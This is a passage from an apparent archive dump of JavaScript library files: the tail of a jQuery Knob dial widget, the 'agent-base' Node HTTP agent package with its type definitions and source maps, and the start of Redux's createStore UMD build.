e){t[n]=e[n]}}};t.Dial=function(){t.o.call(this);this.startAngle=null;this.xy=null;this.radius=null;this.lineWidth=null;this.cursorExt=null;this.w2=null;this.PI2=2*Math.PI;this.extend=function(){this.o=e.extend({bgColor:this.$.data("bgcolor")||"#EEEEEE",angleOffset:this.$.data("angleoffset")||0,angleArc:this.$.data("anglearc")||360,inline:true},this.o)};this.val=function(e,t){if(null!=e){e=this.o.parse(e);if(t!==false&&e!=this.v&&this.rH&&this.rH(e)===false){return}this.cv=this.o.stopper?n(r(e,this.o.max),this.o.min):e;this.v=this.cv;this.$.val(this.o.format(this.v));this._draw()}else{return this.v}};this.xy2val=function(e,t){var i,s;i=Math.atan2(e-(this.x+this.w2),-(t-this.y-this.w2))-this.angleOffset;if(this.o.flip){i=this.angleArc-i-this.PI2}if(this.angleArc!=this.PI2&&i<0&&i>-.5){i=0}else if(i<0){i+=this.PI2}s=i*(this.o.max-this.o.min)/this.angleArc+this.o.min;this.o.stopper&&(s=n(r(s,this.o.max),this.o.min));return s};this.listen=function(){var t=this,i,s,o=function(e){e.preventDefault();var o=e.originalEvent,u=o.detail||o.wheelDeltaX,a=o.detail||o.wheelDeltaY,f=t._validate(t.o.parse(t.$.val()))+(u>0||a>0?t.o.step:u<0||a<0?-t.o.step:0);f=n(r(f,t.o.max),t.o.min);t.val(f,false);if(t.rH){clearTimeout(i);i=setTimeout(function(){t.rH(f);i=null},100);if(!s){s=setTimeout(function(){if(i)t.rH(f);s=null},200)}}},u,a,f=1,l={37:-t.o.step,38:t.o.step,39:t.o.step,40:-t.o.step};this.$.bind("keydown",function(i){var s=i.keyCode;if(s>=96&&s<=105){s=i.keyCode=s-48}u=parseInt(String.fromCharCode(s));if(isNaN(u)){s!==13&&s!==8&&s!==9&&s!==189&&(s!==190||t.$.val().match(/\./))&&i.preventDefault();if(e.inArray(s,[37,38,39,40])>-1){i.preventDefault();var o=t.o.parse(t.$.val())+l[s]*f;t.o.stopper&&(o=n(r(o,t.o.max),t.o.min));t.change(t._validate(o));t._draw();a=window.setTimeout(function(){f*=2},30)}}}).bind("keyup",function(e){if(isNaN(u)){if(a){window.clearTimeout(a);a=null;f=1;t.val(t.$.val())}}else{t.$.val()>t.o.max&&t.$.val(t.o.max)||t.$.val()<t.o.min&&t.$.val(t.o.min)}});this.$c.bind("mousewheel DOMMouseScroll",o);this.$.bind("mousewheel DOMMouseScroll",o)};this.init=function(){if(this.v<this.o.min||this.v>this.o.max){this.v=this.o.min}this.$.val(this.v);this.w2=this.w/2;this.cursorExt=this.o.cursor/100;this.xy=this.w2*this.scale;this.lineWidth=this.xy*this.o.thickness;this.lineCap=this.o.lineCap;this.radius=this.xy-this.lineWidth/2;this.o.angleOffset&&(this.o.angleOffset=isNaN(this.o.angleOffset)?0:this.o.angleOffset);this.o.angleArc&&(this.o.angleArc=isNaN(this.o.angleArc)?this.PI2:this.o.angleArc);this.angleOffset=this.o.angleOffset*Math.PI/180;this.angleArc=this.o.angleArc*Math.PI/180;this.startAngle=1.5*Math.PI+this.angleOffset;this.endAngle=1.5*Math.PI+this.angleOffset+this.angleArc;var e=n(String(Math.abs(this.o.max)).length,String(Math.abs(this.o.min)).length,2)+2;this.o.displayInput&&this.i.css({width:(this.w/2+4>>0)+"px",height:(this.w/3>>0)+"px",position:"absolute","vertical-align":"middle","margin-top":(this.w/3>>0)+"px","margin-left":"-"+(this.w*3/4+2>>0)+"px",border:0,background:"none",font:this.o.fontWeight+" "+(this.w/e>>0)+"px "+this.o.font,"text-align":"center",color:this.o.inputColor||this.o.fgColor,padding:"0px","-webkit-appearance":"none"})||this.i.css({width:"0px",visibility:"hidden"})};this.change=function(e){this.cv=e;this.$.val(this.o.format(e))};this.angle=function(e){return(e-this.o.min)*this.angleArc/(this.o.max-this.o.min)};this.arc=function(e){var t,n;e=this.angle(e);if(this.o.flip){t=this.endAngle+1e-5;n=t-e-1e-5}else{t=this.startAngle-1e-5;n=t+e+1e-5}this.o.cursor&&(t=n-this.cursorExt)&&(n=n+this.cursorExt);return{s:t,e:n,d:this.o.flip&&!this.o.cursor}};this.draw=function(){var e=this.g,t=this.arc(this.cv),n,r=1;e.lineWidth=this.lineWidth;e.lineCap=this.lineCap;if(this.o.bgColor!=="none"){e.beginPath();e.strokeStyle=this.o.bgColor;e.arc(this.xy,this.xy,this.radius,this.endAngle-1e-5,this.startAngle+1e-5,true);e.stroke()}if(this.o.displayPrevious){n=this.arc(this.v);e.beginPath();e.strokeStyle=this.pColor;e.arc(this.xy,this.xy,this.radius,n.s,n.e,n.d);e.stroke();r=this.cv==this.v}e.beginPath();e.strokeStyle=r?this.o.fgColor:this.fgColor;e.arc(this.xy,this.xy,this.radius,t.s,t.e,t.d);e.stroke()};this.cancel=function(){this.val(this.v)}};e.fn.dial=e.fn.knob=function(n){return this.each(function(){var r=new t.Dial;r.o=n;r.$=e(this);r.run()}).parent()}})src/promisify.js.map000064400000000763151677317030010506 0ustar00{"version":3,"file":"promisify.js","sourceRoot":"","sources":["../../src/promisify.ts"],"names":[],"mappings":";;AAeA,SAAwB,SAAS,CAAC,EAAkB;IACnD,OAAO,UAAsB,GAAkB,EAAE,IAAoB;QACpE,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;YACtC,EAAE,CAAC,IAAI,CACN,IAAI,EACJ,GAAG,EACH,IAAI,EACJ,CAAC,GAA6B,EAAE,GAAyB,EAAE,EAAE;gBAC5D,IAAI,GAAG,EAAE;oBACR,MAAM,CAAC,GAAG,CAAC,CAAC;iBACZ;qBAAM;oBACN,OAAO,CAAC,GAAG,CAAC,CAAC;iBACb;YACF,CAAC,CACD,CAAC;QACH,CAAC,CAAC,CAAC;IACJ,CAAC,CAAC;AACH,CAAC;AAjBD,4BAiBC"}src/index.js000064400000017346151677317030007025 0ustar00"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
const events_1 = require("events");
const debug_1 = __importDefault(require("debug"));
const promisify_1 = __importDefault(require("./promisify"));
const debug = debug_1.default('agent-base');
function isAgent(v) {
    return Boolean(v) && typeof v.addRequest === 'function';
}
function isSecureEndpoint() {
    const { stack } = new Error();
    if (typeof stack !== 'string')
        return false;
    return stack.split('\n').some(l => l.indexOf('(https.js:') !== -1 || l.indexOf('node:https:') !== -1);
}
function createAgent(callback, opts) {
    return new createAgent.Agent(callback, opts);
}
(function (createAgent) {
    /**
     * Base `http.Agent` implementation.
     * No pooling/keep-alive is implemented by default.
     *
     * @param {Function} callback
     * @api public
     */
    class Agent extends events_1.EventEmitter {
        constructor(callback, _opts) {
            super();
            let opts = _opts;
            if (typeof callback === 'function') {
                this.callback = callback;
            }
            else if (callback) {
                opts = callback;
            }
            // Timeout for the socket to be returned from the callback
            this.timeout = null;
            if (opts && typeof opts.timeout === 'number') {
                this.timeout = opts.timeout;
            }
            // These aren't actually used by `agent-base`, but are required
            // for the TypeScript definition files in `@types/node` :/
            this.maxFreeSockets = 1;
            this.maxSockets = 1;
            this.maxTotalSockets = Infinity;
            this.sockets = {};
            this.freeSockets = {};
            this.requests = {};
            this.options = {};
        }
        get defaultPort() {
            if (typeof this.explicitDefaultPort === 'number') {
                return this.explicitDefaultPort;
            }
            return isSecureEndpoint() ? 443 : 80;
        }
        set defaultPort(v) {
            this.explicitDefaultPort = v;
        }
        get protocol() {
            if (typeof this.explicitProtocol === 'string') {
                return this.explicitProtocol;
            }
            return isSecureEndpoint() ? 'https:' : 'http:';
        }
        set protocol(v) {
            this.explicitProtocol = v;
        }
        callback(req, opts, fn) {
            throw new Error('"agent-base" has no default implementation, you must subclass and override `callback()`');
        }
        /**
         * Called by node-core's "_http_client.js" module when creating
         * a new HTTP request with this Agent instance.
         *
         * @api public
         */
        addRequest(req, _opts) {
            const opts = Object.assign({}, _opts);
            if (typeof opts.secureEndpoint !== 'boolean') {
                opts.secureEndpoint = isSecureEndpoint();
            }
            if (opts.host == null) {
                opts.host = 'localhost';
            }
            if (opts.port == null) {
                opts.port = opts.secureEndpoint ? 443 : 80;
            }
            if (opts.protocol == null) {
                opts.protocol = opts.secureEndpoint ? 'https:' : 'http:';
            }
            if (opts.host && opts.path) {
                // If both a `host` and `path` are specified then it's most
                // likely the result of a `url.parse()` call... we need to
                // remove the `path` portion so that `net.connect()` doesn't
                // attempt to open that as a unix socket file.
                delete opts.path;
            }
            delete opts.agent;
            delete opts.hostname;
            delete opts._defaultAgent;
            delete opts.defaultPort;
            delete opts.createConnection;
            // Hint to use "Connection: close"
            // XXX: non-documented `http` module API :(
            req._last = true;
            req.shouldKeepAlive = false;
            let timedOut = false;
            let timeoutId = null;
            const timeoutMs = opts.timeout || this.timeout;
            const onerror = (err) => {
                if (req._hadError)
                    return;
                req.emit('error', err);
                // For Safety. Some additional errors might fire later on
                // and we need to make sure we don't double-fire the error event.
                req._hadError = true;
            };
            const ontimeout = () => {
                timeoutId = null;
                timedOut = true;
                const err = new Error(`A "socket" was not created for HTTP request before ${timeoutMs}ms`);
                err.code = 'ETIMEOUT';
                onerror(err);
            };
            const callbackError = (err) => {
                if (timedOut)
                    return;
                if (timeoutId !== null) {
                    clearTimeout(timeoutId);
                    timeoutId = null;
                }
                onerror(err);
            };
            const onsocket = (socket) => {
                if (timedOut)
                    return;
                if (timeoutId != null) {
                    clearTimeout(timeoutId);
                    timeoutId = null;
                }
                if (isAgent(socket)) {
                    // `socket` is actually an `http.Agent` instance, so
                    // relinquish responsibility for this `req` to the Agent
                    // from here on
                    debug('Callback returned another Agent instance %o', socket.constructor.name);
                    socket.addRequest(req, opts);
                    return;
                }
                if (socket) {
                    socket.once('free', () => {
                        this.freeSocket(socket, opts);
                    });
                    req.onSocket(socket);
                    return;
                }
                const err = new Error(`no Duplex stream was returned to agent-base for \`${req.method} ${req.path}\``);
                onerror(err);
            };
            if (typeof this.callback !== 'function') {
                onerror(new Error('`callback` is not defined'));
                return;
            }
            if (!this.promisifiedCallback) {
                if (this.callback.length >= 3) {
                    debug('Converting legacy callback function to promise');
                    this.promisifiedCallback = promisify_1.default(this.callback);
                }
                else {
                    this.promisifiedCallback = this.callback;
                }
            }
            if (typeof timeoutMs === 'number' && timeoutMs > 0) {
                timeoutId = setTimeout(ontimeout, timeoutMs);
            }
            if ('port' in opts && typeof opts.port !== 'number') {
                opts.port = Number(opts.port);
            }
            try {
                debug('Resolving socket for %o request: %o', opts.protocol, `${req.method} ${req.path}`);
                Promise.resolve(this.promisifiedCallback(req, opts)).then(onsocket, callbackError);
            }
            catch (err) {
                Promise.reject(err).catch(callbackError);
            }
        }
        freeSocket(socket, opts) {
            debug('Freeing socket %o %o', socket.constructor.name, opts);
            socket.destroy();
        }
        destroy() {
            debug('Destroying agent %o', this.constructor.name);
        }
    }
    createAgent.Agent = Agent;
    // So that `instanceof` works correctly
    createAgent.prototype = createAgent.Agent.prototype;
})(createAgent || (createAgent = {}));
module.exports = createAgent;
//# sourceMappingURL=index.js.mapsrc/promisify.d.ts000064400000000453151677317030010162 0ustar00import { ClientRequest, RequestOptions, AgentCallbackCallback, AgentCallbackPromise } from './index';
declare type LegacyCallback = (req: ClientRequest, opts: RequestOptions, fn: AgentCallbackCallback) => void;
export default function promisify(fn: LegacyCallback): AgentCallbackPromise;
export {};
src/promisify.js000064400000000757151677317030007735 0ustar00"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
function promisify(fn) {
    return function (req, opts) {
        return new Promise((resolve, reject) => {
            fn.call(this, req, opts, (err, rtn) => {
                if (err) {
                    reject(err);
                }
                else {
                    resolve(rtn);
                }
            });
        });
    };
}
exports.default = promisify;
//# sourceMappingURL=promisify.js.mapsrc/index.d.ts000064400000006175151677317030007257 0ustar00/// <reference types="node" />
import net from 'net';
import http from 'http';
import https from 'https';
import { Duplex } from 'stream';
import { EventEmitter } from 'events';
declare function createAgent(opts?: createAgent.AgentOptions): createAgent.Agent;
declare function createAgent(callback: createAgent.AgentCallback, opts?: createAgent.AgentOptions): createAgent.Agent;
declare namespace createAgent {
    interface ClientRequest extends http.ClientRequest {
        _last?: boolean;
        _hadError?: boolean;
        method: string;
    }
    interface AgentRequestOptions {
        host?: string;
        path?: string;
        port: number;
    }
    interface HttpRequestOptions extends AgentRequestOptions, Omit<http.RequestOptions, keyof AgentRequestOptions> {
        secureEndpoint: false;
    }
    interface HttpsRequestOptions extends AgentRequestOptions, Omit<https.RequestOptions, keyof AgentRequestOptions> {
        secureEndpoint: true;
    }
    type RequestOptions = HttpRequestOptions | HttpsRequestOptions;
    type AgentLike = Pick<createAgent.Agent, 'addRequest'> | http.Agent;
    type AgentCallbackReturn = Duplex | AgentLike;
    type AgentCallbackCallback = (err?: Error | null, socket?: createAgent.AgentCallbackReturn) => void;
    type AgentCallbackPromise = (req: createAgent.ClientRequest, opts: createAgent.RequestOptions) => createAgent.AgentCallbackReturn | Promise<createAgent.AgentCallbackReturn>;
    type AgentCallback = typeof Agent.prototype.callback;
    type AgentOptions = {
        timeout?: number;
    };
    /**
     * Base `http.Agent` implementation.
     * No pooling/keep-alive is implemented by default.
     *
     * @param {Function} callback
     * @api public
     */
    class Agent extends EventEmitter {
        timeout: number | null;
        maxFreeSockets: number;
        maxTotalSockets: number;
        maxSockets: number;
        sockets: {
            [key: string]: net.Socket[];
        };
        freeSockets: {
            [key: string]: net.Socket[];
        };
        requests: {
            [key: string]: http.IncomingMessage[];
        };
        options: https.AgentOptions;
        private promisifiedCallback?;
        private explicitDefaultPort?;
        private explicitProtocol?;
        constructor(callback?: createAgent.AgentCallback | createAgent.AgentOptions, _opts?: createAgent.AgentOptions);
        get defaultPort(): number;
        set defaultPort(v: number);
        get protocol(): string;
        set protocol(v: string);
        callback(req: createAgent.ClientRequest, opts: createAgent.RequestOptions, fn: createAgent.AgentCallbackCallback): void;
        callback(req: createAgent.ClientRequest, opts: createAgent.RequestOptions): createAgent.AgentCallbackReturn | Promise<createAgent.AgentCallbackReturn>;
        /**
         * Called by node-core's "_http_client.js" module when creating
         * a new HTTP request with this Agent instance.
         *
         * @api public
         */
        addRequest(req: ClientRequest, _opts: RequestOptions): void;
        freeSocket(socket: net.Socket, opts: AgentOptions): void;
        destroy(): void;
    }
}
export = createAgent;
src/index.js.map000064400000013300151677317030007563 0ustar00{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"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"}redux.js000064400000065030151677321630006250 0ustar00(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
typeof define === 'function' && define.amd ? define(['exports'], factory) :
(global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.Redux = {}));
}(this, (function (exports) { 'use strict';

// Inlined version of the `symbol-observable` polyfill
var $$observable = (function () {
  return typeof Symbol === 'function' && Symbol.observable || '@@observable';
})();

/**
 * These are private action types reserved by Redux.
 * For any unknown actions, you must return the current state.
 * If the current state is undefined, you must return the initial state.
 * Do not reference these action types directly in your code.
 */
var randomString = function randomString() {
  return Math.random().toString(36).substring(7).split('').join('.');
};

var ActionTypes = {
  INIT: "@@redux/INIT" + randomString(),
  REPLACE: "@@redux/REPLACE" + randomString(),
  PROBE_UNKNOWN_ACTION: function PROBE_UNKNOWN_ACTION() {
    return "@@redux/PROBE_UNKNOWN_ACTION" + randomString();
  }
};

/**
 * @param {any} obj The object to inspect.
 * @returns {boolean} True if the argument appears to be a plain object.
 */
function isPlainObject(obj) {
  if (typeof obj !== 'object' || obj === null) return false;
  var proto = obj;

  while (Object.getPrototypeOf(proto) !== null) {
    proto = Object.getPrototypeOf(proto);
  }

  return Object.getPrototypeOf(obj) === proto;
}

// Inlined / shortened version of `kindOf` from https://github.com/jonschlinkert/kind-of
function miniKindOf(val) {
  if (val === void 0) return 'undefined';
  if (val === null) return 'null';
  var type = typeof val;

  switch (type) {
    case 'boolean':
    case 'string':
    case 'number':
    case 'symbol':
    case 'function':
      {
        return type;
      }
  }

  if (Array.isArray(val)) return 'array';
  if (isDate(val)) return 'date';
  if (isError(val)) return 'error';
  var constructorName = ctorName(val);

  switch (constructorName) {
    case 'Symbol':
    case 'Promise':
    case 'WeakMap':
    case 'WeakSet':
    case 'Map':
    case 'Set':
      return constructorName;
  } // other


  return type.slice(8, -1).toLowerCase().replace(/\s/g, '');
}

function ctorName(val) {
  return typeof val.constructor === 'function' ? val.constructor.name : null;
}

function isError(val) {
  return val instanceof Error || typeof val.message === 'string' && val.constructor && typeof val.constructor.stackTraceLimit === 'number';
}

function isDate(val) {
  if (val instanceof Date) return true;
  return typeof val.toDateString === 'function' && typeof val.getDate === 'function' && typeof val.setDate === 'function';
}

function kindOf(val) {
  var typeOfVal = typeof val;

  {
    typeOfVal = miniKindOf(val);
  }

  return typeOfVal;
}

/**
 * @deprecated
 *
 * **We recommend using the `configureStore` method
 * of the `@reduxjs/toolkit` package**, which replaces `createStore`.
 *
 * Redux Toolkit is our recommended approach for writing Redux logic today,
 * including store setup, reducers, data fetching, and more.
 *
 * **For more details, please read this Redux docs page:**
 * **https://redux.js.org/introduction/why-rtk-is-redux-today**
 *
 * `configureStore` from Redux Toolkit is an improved version of `createStore` that
 * simplifies setup and helps avoid common bugs.
 *
 * You should not be using the `redux` core package by itself today, except for learning purposes.
 * The `createStore` method from the core `redux` package will not be removed, but we encourage
 * all users to migrate to using Redux Toolkit for all Redux code.
 *
 * If you want to use `createStore` without this visual deprecation warning, use
 * the `legacy_createStore` import instead:
 *
 * `import { legacy_createStore as createStore} from 'redux'`
 *
 */

function createStore(reducer, preloadedState, enhancer) {
  var _ref2;

  if (typeof preloadedState === 'function' && typeof enhancer === 'function' || typeof enhancer === 'function' && typeof arguments[3] === 'function') {
    throw new Error('It looks like you are passing several store enhancers to ' + 'createStore(). This is not supported. Instead, compose them ' + 'together to a single function. See https://redux.js.org/tutorials/fundamentals/part-4-store#creating-a-store-with-enhancers for an example.');
  }

  if (typeof preloadedState === 'function' && typeof enhancer === 'undefined') {
    enhancer = preloadedState;
    preloadedState = undefined;
  }

  if (typeof enhancer !== 'undefined') {
    if (typeof enhancer !== 'function') {
      throw new Error("Expected the enhancer to be a function. Instead, received: '" + kindOf(enhancer) + "'");
    }

    return enhancer(createStore)(reducer, preloadedState);
  }

  if (typeof reducer !== 'function') {
    throw new Error("Expected the root reducer to be a function. Instead, received: '" + kindOf(reducer) + "'");
  }

  var currentReducer = reducer;
  var currentState = preloadedState;
  var currentListeners = [];
  var nextListeners = currentListeners;
  var isDispatching = false;
  /**
   * This makes a shallow copy of currentListeners so we can use
